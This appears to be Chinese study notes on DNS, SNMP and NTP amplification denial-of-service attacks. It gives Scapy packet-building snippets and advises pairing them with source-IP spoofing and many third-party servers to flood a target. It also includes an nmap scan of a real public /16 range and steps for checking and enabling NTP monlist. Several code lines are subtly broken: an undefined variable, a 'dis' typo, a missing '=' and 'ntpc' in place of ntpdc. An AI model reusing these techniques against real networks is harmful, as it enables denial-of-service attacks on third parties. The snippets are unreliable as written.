拒绝服务-放大攻击

DNS放大攻击

  • 产生大流量的方法
    • 单机的带宽优势
    • 巨大单机数量形成的流量汇聚
    • 利用协议特性实现放大效果的流量
  • DNS协议放大

    • 查询请求流量小,但响应流量可能非常大
    • dig ANY qq.com @114.114.114.114
  • Scapy 构造攻击数据包

    • IP/UDP/DNS/DNS查询内容
    • 结合IP地址欺骗,利用大量DNS服务器做傀儡攻击目标
1
2
3
4
5
6
7
8
9
10
11
i=IP()
i.dst="114.114.114.114"
u=UDP()
d=DNS()
d.rd=1
d.qdcount=1
q.qname="qq.com"
q.qtype=255
d.qd=q
r=(i/u/d)
sr1(r)

SNMP放大攻击

  • 简单网络管理协议

    • Simple Network Management Protocol
    • 服务端口 UDP 161/162
    • 管理站(manager/客户端)、被管理设备(agent、服务端)
    • 管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象。
    • 每一个节点都有一个对象标识符(OID)来唯一标识
    • IETF定义标准的MIB库/厂家自定义MIB库
  • 攻击原理

    • 请求流量小,查询结果返回流量大
    • 结合伪造源地址实现攻击
  • 攻击

    • windows安装SNMP服务器
    • Scapy:
1
2
3
4
5
6
7
8
9
10
11
12
i=IP()
i.dis="1.1.1.23"
u=UDP()
u.dport=161
u.sport=161
s=SNMP()
b=SNMPbulk()
b.max_repetitions=100
b.varbindlist[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.19.1.3'))]
s.PDU=b
r=(i/u/s)
sr1(r)
  • 用nmap在互联网扫描一个网段,得到所有开放161端口的ip,然后测试
    • nmap -sU -p161 202.206.0.0/16

NTP放大攻击

  • 网络时间协议

    • Network Time Protocol
    • 保证网络设备时间同步
    • 电子设备相互干扰导致时钟差异越来越大
    • 如果时间不正确,会影响应用正常运行、日志审计不可信
    • 服务端口UDP 123
  • 攻击原理

    放大反射dos攻击由CVE-2013-5211所致。且这漏洞是与molist功能有关。Ntpd4.2.7p26之前的版本都会去响应NTP中的mode7“monlist”请求。ntpd-4.2.7p26版本后,“monlist”特性已经被禁止,取而代之的是“mrulist”特性,使用mode6控制报文,并且实现了握手过程来阻止对第三方主机的放大攻击。

    • NTP服务器monlist(MON_GETLIST)查询功能
      • 监控NTP服务器的状况
    • 客户端查询时,NTP服务器返回最后同步时间的600个客户端IP
      • 每6个IP一个数据包,最多100个数据包()放大100倍
  • NTP服务安装

    • apt-get install ntp
  • 扫描

    • nmap -sU -p123 192.168.8.0/24 --open
    • nmap -sU -p123 -sV 192.168.8.170
  • 判断使否启用了monlist查询功能

    • ntpc -n -c monlist 192.168.8.170
      • timeout说明没有启用,默认是关闭状态
      • 开启方法:
        • vim /etc/ntp.conf注释掉两行restrict开头的命令,然后重启服务

总结

  • 请求流量小,查询结果返回流量大
  • 结合源IP地址欺骗
  • 利用大量服务器发起攻击